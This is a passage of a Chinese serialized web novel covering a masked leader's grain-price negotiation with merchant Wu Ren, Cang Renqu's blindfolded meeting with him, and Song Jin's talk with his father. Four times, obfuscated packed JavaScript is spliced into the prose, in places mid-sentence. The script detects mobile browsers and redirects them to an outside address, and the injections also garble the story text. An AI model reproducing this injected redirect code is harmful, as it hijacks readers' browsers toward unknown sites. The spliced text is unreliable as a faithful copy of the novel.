吴怀智在两名盲卫的压制下挣扎着，朝吴任嘶喊：“叔父！就是他！一切都是他设的局！” 吴任反而低笑一声：“原来绑我侄儿为质，是要同吴某谈条件？” 曲直公子沉着回应道：“令侄伤我手下在先，扣押数日不过小惩，无论今日谈成与否，人都会平安归还。广厦楼也绝不插手后续之事。” 吴任沉默片刻，抬眼望向垂帘：“愿闻其详。” 曲直公子：“颐丰粮行掌控交州沿海粮市，粮价高悬，百姓难以负荷。岛州限购令一出，两岸流民已无米可炊。我希望贵行让出一线生机，压下粮价，解此饥困。” 吴任：“粮价一降，岛州倭寇必趁虚而入。到时‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103050|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通倭’的帽子扣下来，吴某纵有十颗脑袋也不够砍。如今与贵楼牵扯令我如履薄冰，公子此议，是要将我推入万丈深渊。” 左前方屏风后的声音再度响起，带着三分讥诮：“颐丰粮行的粮价本非官定，虚高已久，稍作回调于你不过九牛一毛。岛州地狭粮少，历来倚靠交州输粮，如今交岸百姓因粮价高昂流亡岛州，几将岛州存粮啃食殆尽。说到底，你口中的‘倭寇’，大多原是交州活不下去的百姓。” 谈话间，一名盲卫悄步上前，低声禀报：“曲直公子，有生人闯入，称知晓军需内情，求见您。” 曲直公子抬手止住，目光仍垂向下方的围屏：“稍候。” 吴任：“粮价为何高？因为颐丰给农户五五分成，别家只给三成！粮源自然聚到我手中。诸位可知？我行抽成之中，十之八分皆上缴官税，吴某所获不过蝇头微利。百姓吃饭，我也要吃饭。粮价就摆在那里，买不起……就等着饿死。” 右前方的围屏后传来喃喃自语的声音：“饿着肚子的兵怎么打仗？仗打不起来，军需的生意怎么做？” 垂帘后响起一道沉缓的声音，带着思量：“我倒觉得吴老板所言不虚。战争财终究是昙花一现。军需乃官府特制，非我等私产，只需动用手头权柄而做交易，银钱自然流入囊中，横竖成本由官府承担。这凭空生出的‘财’，够在座诸位享乐一生了。” 吴任正前方的围屏后，那道带着笑意的声音再度响起：“吴老板，想撇清干系怕是晚了。秀止府已有证据，将令侄失踪与绮罗舫爆炸牵连。若我再添一笔证词，你说会如何？” 吴任怒了：“方才还说‘绝不插手’，此刻以官威相逼，这便是公子所谓的‘谈条件’？” 对面回应道：“是与吴老板谈条件的是广厦楼，他们不插手，不代表我不会。军需案惊动东宫，牵扯的可不止广厦楼一家，总不能为了令侄一人，砸了所有人的饭碗。” 就在二人言语交锋之际，曲直公子已示意盲卫带人上前。 脚步声自楼梯响起。垂帘外，洛予词原本闲适的坐姿微微一顿，轻声讶异。 “姜姑娘？” 曲直公子闻声侧首。 垂帘外，只见那模糊的女子双目覆着墨青布条，双手反缚身后，唇上胭脂艳得惊心，正微微偏头听着动静。 洛予词看向盲卫：“姜姑娘是我今日刚引入楼的新人，确定没有抓错人吗？” 盲卫答道：“她暗中尾随属下，被当场擒获。” 洛予词：“……” 苍仁曲：“……” 洛予词探究的目光投向苍仁曲：“姜姑娘，你如何得知‘曲直公子’名讳？” 苍仁曲绞尽脑汁，想着怎么把这番谎言圆下去，索性胡说八道：“这些……都无关紧要！我只想说，这一切皆是冲着曲直公子而来的局！” “谁的局？” 苍仁曲闻声微微一滞，蒙着布的双眼朝声音来处偏了偏。 洛予词提醒她：“曲直公子在问你。” 苍仁曲豁了出去，齿间挤出几个字：“宋家公子，宋谨。” “……” 帘内之人沉默了。 32. 口脂 “先解开，将她带去机枢堂。”曲直公子命令盲卫。 洛予词温声提醒道：“曲直公子，何不先听听姜姑娘的见解？宁可信其有，不可信其无。” 曲直公子笃定道：“宋家公子是否针对于我，我心中有数。” 洛予词含笑反问：“曲直公子这么了解他的动机？莫非你们平常有所交集？” “少打听我。”曲直公子一顿，终是妥协，“姜姑娘，你先长话短说。详情待此间事了再议。” 苍仁曲冷静分析道：“方才的谈话，我听了些许。无论吴老板答应与否，颐丰粮行都将自取灭亡。他背后之人已在极力撇清关系。若吴老板还有什么用处，无非是被拿来当作棋子，揪出幕后布局之人。秀止府在明，离太子近；广厦楼在暗，离太子远。若顺藤摸瓜，第一个被供出来的人，只会是你。” “可笑。” 苍仁曲：“……” 曲直公子轻描淡写一句，令洛予词面露不解：“曲直公子，属下倒觉得姜姑娘所言……” “带她下去。”曲直公子抬手止住话头。 苍仁曲听见洛予词无奈沉了口气，语气里透出几分不耐：“属下同行吧，正好看看她测验的结果。” 二人的脚步声渐次远去。 曲直公子不动声色回首，目光追随帘外苍仁曲那道朦胧的背影。 “曲直公子。”吴任的声音自楼下传来。 “嗯？” 吴任试探问道：“若我应允压下粮价，曲直公子可有法子，让吴家从军需案中全身而退？” 曲直公子正思索着，他对面的垂帘传来一道声音：“吴老板的态度转得倒是快。你是想请广厦楼出面作保？ 在受到多方势力若隐若无的压迫之下，吴任肩背微沉，声音低了下来：“方才……是吴某失言。只是若吴某深陷此案难以脱身，那降粮价一事怕也需从长计议。” “从长计议”四字刚落，曲直公子的声音从帘后清晰传来：“吴老板，不妨直言。若在不伤及农户分毫，粮价能降几成？” 吴任指节在袖中无声掐算，默然片刻后，回答道：“三成。” 阁间内静了数息，随即传来曲直公子的评断：“还是贵。” 吴任喉结滚动，声音不经意压低下来：“若诸位大人能在抽成上……稍作通融，吴某愿再掏些家底，或可降至五成。” 此言一出，周围屏风后顿时响起数道不满的声音。 有人说道：“吴老板，你家自己捅出的窟窿，凭什么要动旁人吃饭的碗来补？我就该饿着么？” “就是。”另一道声音紧接着响起，“颐丰粮行背靠宋氏起家，平日占尽便宜。别家商会打点上下皆需真金白银，你有府尹撑腰，几乎分文不花，还不知足么？” 又一道慢条斯理的声音从侧面屏风传来：“甜头没分着半分，苦头倒要大伙一起咽。吴老板，不是我不愿帮，是你实在缺了点‘求人该有’的自觉。” 吴任忍气吞声，将目光投向阁顶垂帘，问道：“曲直公子，这条件，能否谈得下来？” 垂帘内，曲直公子撑着手，指尖轻叩太阳穴。 五成…… 已近官价，确实令人心动。 楼下那群豺狼虎豹的龇牙咧嘴之声，让他眉间泛起一丝不耐，忽而抬高声音：“诸位大人，我是在与吴老板商议，而非征求各位意见。进来之前诸位已承诺画押，此刻便只是听客，无论结果如何，都请受着。” 侧身垂帘后传来一句冰冷的附和：“没错，广厦楼最忌背诺之人。” 楼下顿时鸦雀无声。 不一会，一道阴阳怪气的声音自屏风后传来：“好啊，曲直公子这出戏，哪是给吴老板设的局，分明是冲我来的。” 曲直公子理也不理，只对吴任开口：“五成。吴老板，你可敢一诺千金？经商之道，最重契约二字。” 吴任面露难色，目光在屏风间来回游移：“曲直公子，倘使风险全压在我身上，这五成的话，我实在不好应承。” 曲直公子了然，当众朗声道：“字据早已备好，在座诸位先前俱已签字画押。若有人在压粮价时耍手段，广厦楼作为监督方，有权出手整治。这上面白纸黑字，写得明明白白。 盲卫将一纸字据递到吴任跟前，上面详列着他与曲直公子商定的各项条件。 吴任逐条核验无误，当即签字画押。 与此同时，另一张字据也被送到吴怀智手中，他看都未看，抬手便画了押。 画押完毕，盲卫便放了他。 吴怀智刚走几步，却见两名盲卫仍紧随其后，他急忙躲到吴任背后，质问道：“你们还跟着我做什么？” 盲卫应声：“奉曲直公子之命，护送二位安全返程，以保无虞。” 吴怀智借着胆子，扬声反问：“除了你们，还有谁有胆子动我吴家？” 吴任连忙喝止他，对盲卫拱手道：“曲直公子思虑周全，有劳二位了。” “叔父……” 吴任拉住吴怀智，叮嘱道：“那些躲在屏风后的人，我们连底细都摸不清。回去的路上指不定有什么变数，你在军需案里还没摘干净，有广厦楼照拂着，反倒是稳妥的。” “曲直公子，我有话说……”一道声音自屏风后传出。 “……” 无人应答。方才曲直公子端坐的垂帘后面，早已没了人影。 负二楼。 机枢堂是曲直公子平日理事之所，盲卫引着苍仁曲前行。洛予词跟在旁边，对盲卫嘀咕道：“曲直公子这是抽什么风？方才谁的话都听不进去，他平日里可不是这般难说话的。” “不知。”盲卫善意提醒道，“洛先生，他是您的上头，这般随意置喙恐怕不妥。” 洛予词挖了挖耳朵：“讲人话他充耳不闻，谁耐烦伺候他？我也懒得在那儿耗着了。” 苍仁曲默默听着，只听洛予词的话头忽然转向她：“姜姑娘，我查过你的过往，不过是寻常读书罢了，倒真看不出你竟对政见这般有见地。” 苍仁曲淡然一笑：“不过跟在宋家公子身边，耳濡目染罢了。” 洛予词似笑非笑地看着她：“你进宋府才一个月，这般短的时日，能捋清这些盘根错节的利害，要是没人暗中提点，倒真是有几分本事。” 苍仁曲没有应声，只是朝她的方向偏了偏头。 一旁盲卫适时推门，沉声道：“洛先生，止步。” 苍仁曲听见洛予词的脚步声停在身后，只听她道：“我得回去看你的结果，改日再会。” 苍仁曲应声应允，盲卫引着她在指定位置落座。 她的眼前依然一片漆黑，自进门起，她却捕捉到一丝异样。蒙眼的黑布条里，有荧蓝的光隐隐透进来。她试着睁眼，只觉眼睛一阵发痒，忙又紧紧闭上。 室内静得落针可闻。 身侧只坐着一名盲卫，这时便听对方开口提醒：“这位姑娘，等会儿与曲直公子交谈，切记不要摘下眼布条。” 苍仁曲颔首：“冒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103051|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昧问一下，这是为何？” 盲卫解释道：“没人能看见他的真面目，这是规矩。” 语声未歇，门再次开了。 盲卫听见脚步声起身：“曲直公子。” 苍仁曲耳畔传来鸟翼扇动的声响，左肩一沉，那只鸟就停在肩头，鸟喙温柔地蹭着她的脸颊，刚好碰到那晚被刮伤的位置。 她不由得缩了缩，对这多了几分提防。 曲直公子轻轻拍了拍盲卫的肩膀，盲卫了然，随即退了出去。 “胡说八道。”曲直公子冷不丁开口。 苍仁曲顿时愣住：“我还什么没说……” “胡说八道。”他再度打断她。 “？”苍仁曲微张着嘴，一脸茫然。 曲直公子冷声质问：“宋谨？那个无权无势，不受待见的富家公子，他与广厦楼素无瓜葛，连我的名号未必听说过。你平白无故将他扯进来，居心何在？” 苍仁曲不紧不慢反驳道：“曲直公子，你俩从未见过面，你便如此武断评判谨公子，未免太轻视他了吧？人家文武榜上位列第十，又是宋氏出身，人脉广着呢，保不齐今天在场的这些人里，就有和他相熟的。” 曲直公子的声音慢慢靠近：“照你这么说，他为何要针对我？你拿得出证据吗？” 苍仁曲低下头，气势也颓了大半：“……没有。全是我的一面之词。” 曲直公子：“你就说你是不是在胡说八道？” “……是又怎样。”苍仁曲话锋一转，辩驳道，“你不也信了吗？说明我的话至少有几分道理吧？” 曲直公子语气满是不屑：“我何时信了？” 苍仁曲挑眉反问：“要是没信，你何必将我带到此处？难不成，你心里打着别的算盘？” 曲直公子：“狡辩。” 苍仁曲：“嗯？” “你在狡辩，明明是你想见我。” “……” 一语中的，苍仁曲彻底怔住，千算万算，没算到他竟如此直接，毫不留情地戳破她的心思。 她察觉面前之人弯下身子，手朝自己探来。她本能躲开，随即左肩的力道一卸，栖在她身侧的大鸟爬上了那人的手。 曲直公子抬手将那只大鸟轻轻放在身侧的栏杆上，问道：“如你所愿，我此刻就在你面前。你是如何知道我的？” 苍仁曲答得随意：“偶然得知，单纯好奇。” 他问：“好奇我什么？” 她答：“什么都好奇。” “论好奇，我对你也是一样。”曲直公子伸手扣住她的下巴，指尖微微用力，另一只手直接搓掉她唇上的口脂，力道重得让她生疼，“质地金贵，一看便是富贵人家的赏赐，却与你今日的妆容格格不入，你在刻意展示什么？” “？？？”苍仁曲整个人僵住了。二人不过初次相识，他怎能如此放肆，做出这般逾矩又亲昵的动作？ “够了。”苍仁曲一把攥住他的两只手，用力一挣站了起来。 “你倒是在这里自在得很。”曲直公子没有反抗，慢条斯理地开口，“你当真清楚我的身份？敢开罪我，你还想在广厦楼混下去？” 苍仁曲死死扣着他的手腕，寸步不让地将他逼至墙边：“傲慢，自大，你这种人最是惹人厌。不过曲直公子，你可演不出那种刻在骨子里的倨傲，就这种不痛不痒的刺激……” 她话音一顿，侧脸贴向他的耳畔，气息轻缓却带着十足挑衅：“一味地在勾人。” “？！” 33. 木头 苍仁曲眼前一片漆黑，却能清晰感觉到面前人身子紧绷，他双手微微挣扎，齿缝里挤出一声：“放肆。” 她悠然松开他的双手，稳稳站定身前，寸步未移：“曲直公子，是你先失了分寸，我依着你，怎倒是你先认怂了？” 曲直公子彻底恼怒，慌忙推开了她。架上的猎隼闻声唳鸣，声如厉警。 “坐回去。” 命令的口吻明明强硬，听在苍仁曲耳里却软绵绵的，没什么杀伤力。她摸索着挪回原先位置坐下，心头松了口气。 幸好曲直公子只是故作轻薄，并非真的登徒浪子。不然，何须他驱赶，她自己也不愿再待下去。 “口脂是谁送给你的？”曲直公子问。 苍仁曲不解他为何揪着这点不放，据实答道：“宋家小姐，宋曦。” 面前的人顿了一下，语气不复先前生硬：“她啊……” “曲直公子，我能摘下眼布说话吗？”苍仁曲试探着问。 “不能。这是广厦楼的规矩。”曲直公子答，“专为我设的规矩，若是坏了，我有权处置任何人。” 苍仁曲闻言，指尖微动，轻轻拨了拨缚眼的布带。 曲直公子当即发声制止：“做什么？” “......有点紧。” 曲直公子：“......” 苍仁曲道：“若没别的事，我可以走了吗？” “宋谨。”他忽然出声。 “嗯？” “你特意把这个人供出来，让广厦楼盯上他，难道是和他结了仇怨？”他问道。 “曲直公子，这是把我想得有多小心眼？”苍仁曲忍不住发笑，“我为何要提宋家公子？只因他对宋家的财产状况了如指掌。颐丰粮行是靠宋氏发家的，其中内情，他未必一无所知。” 她话音一顿，曲直公子直接道：“说下去。” “吴老板说，颐丰粮行的收入，十成里有八成要上缴官税。他经商多年，放着打点关系返利的路子不走，反倒老老实实缴这么重的税？这分明不合常理。除非是他掏不出打点的银子，或者说，颐丰粮行的钱库，根本就不由他做主。” 对面传来衣料摩擦的轻响，该是曲直公子在她对面坐了下来。苍仁曲顿了顿，继续道：“颐丰粮行如今粮价如何，我不清楚；大局走势，我也不及公子洞悉分毫。光盯着一介商人施压，治标不治本。解此困局，无非是看谁的口袋更鼓，谁先拿出银子来补贴。先动最有钱的人，能让所有人的亏损降到最低，换取最好的结果。” 手背忽然触到一点温热，苍仁曲本能往回一缩。曲直公子的声音随之响起：“是热水，你嗓子干了。” “谢谢。”苍仁曲循着触感捧起杯盏，小心翼翼地抿了两口。 曲直公子：“等会儿你要去哪里？我遣人送你出去。” 苍仁曲皱眉：“？” “有何疑惑？” 苍仁曲直言道：“曲直公子，我前前后后说了这许多，你半句反馈都无，莫非是我说得不对？” 曲直公子：“......并无此意。” “然后呢？” 对面沉默了，半晌未曾出声。 苍仁曲将杯盏往案上一搁，清脆一声响。她抿紧了唇，努力不让自己的脸色太过难看。 之前他轻蔑地否定了她在阁间里的一席话，姑且算他早已识破她的来意，懒得入耳。 可这是她花了心思琢磨的言辞，他这般轻描淡写转移话题，简直是把她的处心积虑当成儿戏，一杯热水草草打发了她。早知曲直公子如此傲慢轻狂，她根本不会在这里费尽唇舌，说这一大通。 “……我并非故意敷衍你。”曲直公子似是窥破了她的心思，坦言道，“你说的话，句句在理，我都听进去了，心中也已有了计较。只是我素来不爱将盘算好的事，吐露于人前。” 苍仁曲顺着他的话头接下去：“哦，我明白了。曲直公子老谋深算，寻常人哪里跟得上你的步调？若是说出来，怕是还得费神解释半天，倒不如缄口不言，省得和我们这些凡夫俗子浪费口舌。” “宋谨，我会留意的。” 苍仁曲闻言，不由得一愣。 他刚才……是把心里的打算，吐露给她听了吗？ “喝完热水再走。” 她只听到自己愣愣应了一声：“好……” 苍仁曲乖乖喝完杯中热水，把杯盏放回桌上。曲直公子起身走到她身边，缓缓向她伸出了手。 猎隼立在架上，歪着脑袋，目不转睛盯着她扶着他的手肘，一步一步随他走出门去。 人走后，曲直公子反手阖上门扉，掌心依旧贴在门背上，听着门外的脚步声渐行渐远，久久没有放下。 他一转头，恰好撞上猎隼凝视的目光，霎时心头一颤。 分明是一尊人为制造的死物，眼珠漆黑，毫无神采，他却觉得自己像只被扒光了伪装的猎物，所有的弱点在它眼中无处遁形，没来由地生出一阵心虚。 他强作镇定地走到猎隼面前，伸手掐住它那两颗冰冷的眼珠子。 “别看了。” 苍仁曲由盲卫引着，约莫登了两层阶梯，停在一片开阔之地，沉香气息丝丝缕缕，缠绕周身。 她立在原地静候许久，耳畔忽有一道熟悉的声音传来：“眼布可以摘下来了。” 苍仁曲吓了一跳，立即摘下眼布。她回到了一楼那棵常青松下，洛予词站在旁边，带她来的盲卫却早已不见踪迹。 “你一直站在这里？”她忍不住问。 洛予词意味不明一笑：“对啊，在观察你。” 苍仁曲一头雾水：“我怎么了？” “没什么。”洛予词哈哈一笑，干脆转移了话题，“说起来，我一直在等你呢。你的结果出来了，真是让我大开眼界。” 苍仁曲自信自己的结果不会差，催道：“说吧，别卖关子了。” 洛予词道：“给你阅卷的考官，是去年文试的批卷人之一。用他的原话来讲，完全看不出是武举生的手笔，甚至好些观点，都带着当年文试状元的影子，总之啊，评价好得很。” 苍仁曲乍闻“去年”“状元”的字眼，眼神不经意闪躲：“太抬举我了，我怎敢比肩文试状元？” “有何不敢？”洛予词拍了拍她的肩，语气温和，“是检举状元父亲被陷害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103052|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入狱，落下阴影了？若没有这些腌臜事，你本该有大好前程。而现实也恰恰证明，公道始终站在你这边，恶人食其恶果，没什么坎是过不去的。” “……言之有理。”苍仁曲眸光黯淡，肩头微侧，不动声色抖开她的手。 “天色不早了。若不是谨公子将你留下，后续的事本该一并办完的。”洛予词轻叹一声，“可楼里的规矩改不得，我没法强留你。等你有空了，再过来一趟吧。” 阁楼里的灯火陆陆续续暗下去，下工的人潮络绎不绝地从二人身边经过。苍仁曲抬眼望向门外，夕阳正缓缓沉向天际。 能准时下工，真好...... 她刚抬脚准备走，洛予词的声音忽然追了上来：“还有件事。” 苍仁曲：“？” 洛予词用小指轻轻勾了下自己的唇角，笑意浅浅：“这里还有点东西没擦干净。” 苍仁曲疑惑，依着她指的位置，伸拇指在唇角搓了搓，指腹便沾上一抹淡淡红印。 “......” ...... 戏院厢房内，宋谨立在金盆旁，瞥了眼指腹与指节残留的口脂红痕，抬手浸入水中，慢条斯理地清洗。 水渍顺着指缝滑落，他取下手巾，擦净双手。 屏风外传来了开门声。 苍仁曲扫过一圈，没瞧见宋谨的身影，反倒见他的座位上，竟坐着偃人延子。 她疑惑之际，宋谨已从屏风后缓步走了出来。 “怎么这副表情？是顶着我的名头在外惹事了？” “才没有。”被他这么随口一问，苍仁曲莫名心虚，飞快转移目光，“就算真提了你的名号，谁敢惹到谨公子头上？嫌命长不成？” 宋谨轻然一笑，晃头盯着她看，似是发现了端倪：“唇上的口脂怎么换了个色？” “这哪里是什么口脂色。”苍仁曲似是早料到他会问，连忙摆手往嘴边扇了扇风，“西市有家很出名的辣味小吃摊，我就尝了几口，实在辣得受不住，嘴巴麻到现在，才泛红的。” “巧言令色。”宋谨评价道。 苍仁曲故作茫然：“啊？” 宋谨补了句：“指你方才恭维我的话。” 苍仁曲：“我句句都是实话。” 宋谨神色淡淡，迈步回到自己座位上。延子自动起身，发出“咯吱”轻响。 “若真惹出麻烦，我的名头保不住你，该当如何？” 苍仁曲摆出欲哭无泪的表情：“那我也没招了，要真的给公子添乱，大不了您把我发卖了便是。” 宋谨的目光又落在她那张被辣味染得殷红的唇瓣，随即抬手指了指桌上的茶壶：“水是温的，自己倒来喝。” “谢公子。”苍仁曲欣喜，麻溜地坐到桌边为自己斟了杯水。 她一杯饮罢，又续了一杯，除了喉间滚动的“咕咚”声，满室空落，无端叫人觉得少了点什么。 “公子，台上的戏唱完了？” “嗯。”宋谨淡淡应了声。 苍仁曲语气带着小遗憾：“看来是我回来晚了，还想知道戏的后续呢。” 宋谨抬眸看她：“想听？” 34. 边州马 苍仁曲眨巴两下眼睛，朝他用力点头。 宋谨意会，将后续缓缓道来：“齐楠与于初结伴寻马，路上偶遇一位游学的宋氏书生。书生说曾见马贩子在附近出没，她的马多半是被掳走了。齐楠心急如焚，跟着书生找到贼窝，果然瞧见自己的马，身上竟有七道刀口。她和于初合力打垮一众马贩子，将马救了回来。” “七道刀口？！”苍仁曲眉头一蹙，“战马仙子瞧见自己的马伤成这样，该多心疼啊。” 她少时读《边州奇谈》，知晓许多马贩子盯上了边州马感官迟钝的特性，以折辱虐待之法筛选良马，马耐受苦楚越甚，身价便越高。边州多有灵性之物，生灵越是通人性，当地人越能共情。边州马灵性卓绝，认主之后，与主人亲厚如至亲，而要将其训练成一匹战马，更需主人耗费无数心血。 “齐楠后来针对马贩子虐生之举，牵头组织边州百姓发起抗议。此事闹大后，边州官府不得不制定专法保护边州马，划定贩马过程中诸多禁止虐待的细则。正因如此，大家尊称其为‘战马仙子’。”宋谨道。 “原来‘战马仙子’的名号是这么来的。”苍仁曲给宋谨斟了温杯水，又问，“公子，那‘折剑将军’的称号又是怎么回事？” 宋谨淡然一笑：“这个简单。于初当年武举殿试，被榜眼折断了佩剑，可他照样打赢了，拿了武状元，这称号就这么叫开了。” “父母一辈的故事真是精彩。” 苍仁曲支着腮帮子，心头漾起对母亲的思念。 母亲“边州狼王”的名号，她听旁人说过许多版本，可母亲从未在她面前提过过往。有时她好奇追问真假，母亲也只澄清那些杜撰的部分，余下缄口不言。 母亲常说，故事从不是一人之言，要多听多看不同的视角，才能真正认清一个人，而非凭她的一言之词，潜移默化地影响她、框住她，逼她把自己当成榜样来学。 “天快黑了，该离开了。”宋谨道。 苍仁曲率先起身，见宋谨站起，一旁的延子也跟着起身，默默跟在他身后。 “咦？你怎么还跟着？” 宋谨回头扫了延子一眼，语气平淡：“想来老板未归，他代为送客。” 二人走在庭院里，院墙挡住了夕阳的余晖，遍地覆着沉沉阴影。院里的灯早早点上，不知是谁所点，四下里除了他们二人，再无别的人影，除了二人脚步声，也听不到丝毫动静，只余一片寂静。 路过那方戏台时，苍仁曲忍不住问：“公子，这戏院看着平平无奇，也没什么名气，你是怎么寻到这儿的？ 宋谨道：“偶然路过，听见里头有唱戏的声音，想着是家戏院便走了进去，正巧撞见老板和他的朋友听戏。这里算不上正经戏院，只是老板请的戏伶来路神秘，想听戏只能来他这儿。日子久了，我便成了常客。” 苍仁曲去牵马车，宋谨刚走到门口，正好老板匆匆赶了回来。 他笑着招呼：“哎哟，谨公子！瞧我这忙得脚不沾地，总算赶回来送送你。你今儿个听这出戏，还满意吗？” 宋谨应道：“一如既往的好看。等老板有了新戏，我再来。” 苍仁曲赶着马车停在门前，他利落登上了马车。 老板笑得一脸热络：“随时欢迎公子！慢走啊！” 目送马车走远，一转身进门，瞅见延子跟根木桩似的戳在门后。他满脸疑惑：“咦？延子，你怎么自己待在这儿？” …… 马车里，宋谨盯着耷拉下来的车帘怔怔出神，不知在思量什么。 忽然，他唤了一声：“阿曲。” 帘外传来苍仁曲的应声：“公子，何事？” 他问道：“八珍窖的账目里，可有与颐丰粮行的往来交易？” “确有此事，公子怎么突然问这个？” 宋谨追问道：“交易明细你还记得多少？有没有什么印象深刻的地方？” 苍仁曲心里犯嘀咕，这问题居然和萧择天那夜在船上问的大差不差。她理了理思路回道：“颐丰粮行乃八珍窖指定原料供货商，两家往来甚密，每笔交易数额不菲。然而八珍窖经营不善，连年亏损，债台高筑。最近一笔账目显，八珍窖曾向颐丰粮行借银百万两用以进货，奈何年末依旧亏空严重，无力偿债，只能倒闭。” 宋谨喃喃自语：“吞了颐丰粮行的钱啊......” 苍仁曲道：“公子，我原以为你未曾过目那些账本，也该对此中情由了如指掌，竟也有不明就里之处。” 宋谨道：“我就是个管钱的，顶个正大光明的名头用罢了。这些钱从哪儿来、往哪儿去，我做不得主，很多时候，连知道的资格都没有。” 苍仁曲接话：“宋家不过三口人，公子、老爷、小姐，要管着几十乃至上百口人的家业，早已不止是管钱那么简单。钱库里的数目于你而言，怕只是一串数字，顾及不周全实属正常。” 宋谨头倚车厢壁，抬手撩起袖摆，摩挲着上面的祥纹：“宋家的钱库，不全属于宋家。” 帘外的苍仁曲顿了一下，半晌才道：“......若依公子所言，是不是吴家的钱库，也不一定全属于吴家？” 宋谨听了这话，眸光微动，若有所思。 ...... 是夜，寒意浸庭户。宋德的居室窗牖大开，夜风卷着寒气涌入。 他立在窗前，窗外枯枝如铁，横斜成道道墨影，印于夜幕之上，月亮镶嵌枝桠间，白如霜雪。 侍从俯身向炉中添炭，尹叔以手试炉，热足了温，转向窗边的人影低声劝道：“老爷，炭火烧得正暖。外头风凉，仔细冻着了身子。” 门外传来几声交谈，须臾，一名侍从推门而入，躬身禀道：“老爷，谨公子来了。” 宋德脸上讶异之色一闪而过，尚未回身，就听见身后宋谨的声音：“父亲，夜寒露重，莫在窗畔久立。” 他转过身，目光落在宋谨身上，踱步靠近炭盆，徐徐开口：“鲜少见你主动寻我，怎么过来了？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103053|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“有点事，想同父亲谈一谈。”宋谨回道。 尹叔要去关窗，被宋德抬手制止：“窗子别关，外头景色不错。” 尹叔望了一眼窗外乌漆嘛黑的“美景”，纵然纳闷得很，却不在多言，转头让侍从多添些炭，把火盆烧得旺点。 宋德斜倚在贵妃榻上，侍从取来锦毯覆在他膝头。宋谨在炭盆侧的椅榻落座，接过侍从奉上的暖手壶。侍从们在二人面前另设一鼎小炉，燃炭煮水。 “说事之前，倒有样东西险些忘了。”宋德朝尹叔抬了抬下巴，指了个方向，“尹子，去把那只木马取来。” 尹叔移步至琳琅满目的珍玩架前，从中拿出一个模样寻常、雕工粗朴的小木马，双手捧着送到宋谨面前。 宋谨神色茫然接下那只木马，问道：“父亲，这是我十三岁生辰时，亲手做来送您的礼物，您这是要还给我吗？” 宋德语气平和：“并非此意。这小木马搁了好些年没动过，前几日我试着让它走几步，发现它步履滞涩。你如今的手艺，远胜少年之时，且来看看，是何处出了差错？” 宋谨松了口气：“好。” 宋德凝望着宋谨手中那只被检视、敲敲打打又拆开的小木马，往昔旧事漫过眼底，声音轻缓：“这只马，很像你母亲当年心尖上的那匹爱驹。” 宋谨动作顿了一下，继续若无其事修理着：“这个我知道。” 宋德摇头喟叹：“不，那匹马…在你出生之前已经去世了。” 宋谨抬眸，与他目光相接一瞬，就垂下了眼皮，一声不吭。 宋德叹了口气，继道：“我与你母亲初次相识，始于那匹马驹。当年她的爱驹被马贩所掠，遍体鳞伤。我引着她追踪马贩踪迹，救回了那匹马。奈何那马伤重难愈，腹中又怀有身孕，不久便溘然长逝，所幸那未足月的小马驹，终是活了下来。” 宋谨听完，语气不惊：“竟还有这样一段故事。” 宋德问道：“听说那匹马的幼驹，后来也成了她的心爱坐骑，我始终未曾得见，你记得它叫什么名字？” “叫‘以恒’。”宋谨低头鼓捣着木马，指腹蹭着小时候留下的歪歪扭扭的痕迹，眼底闪过怀念的光。 他三两下便将木马修好，搁在膝头，拨动机关。木马的四蹄利落腾挪，神似以恒在马场驰骋的模样。 他将小马递还给尹叔，在二人的注视下，尹叔小心将其放回架上。 宋德这才切入正题：“行了，说吧，找我来所谈何事？” 宋谨神情认真看向他：“关于颐丰粮行吴老板的事，我与他交集甚少，今日特来与父亲探讨一二。” 宋德眯着眼，不以为然点头道：“嗯。” 宋谨问道：“先前听父亲提及，吴老板出身士卒贩夫，无文试功名，亦无武举成绩傍身。他当年在容州，究竟是如何得了太子青睐？还让太子力保他来到交州经商，令父亲您以秀止府尹之尊，不惜以家产予以扶持？” 宋德闻言，缓缓睁开了眼。 35. 苦衷 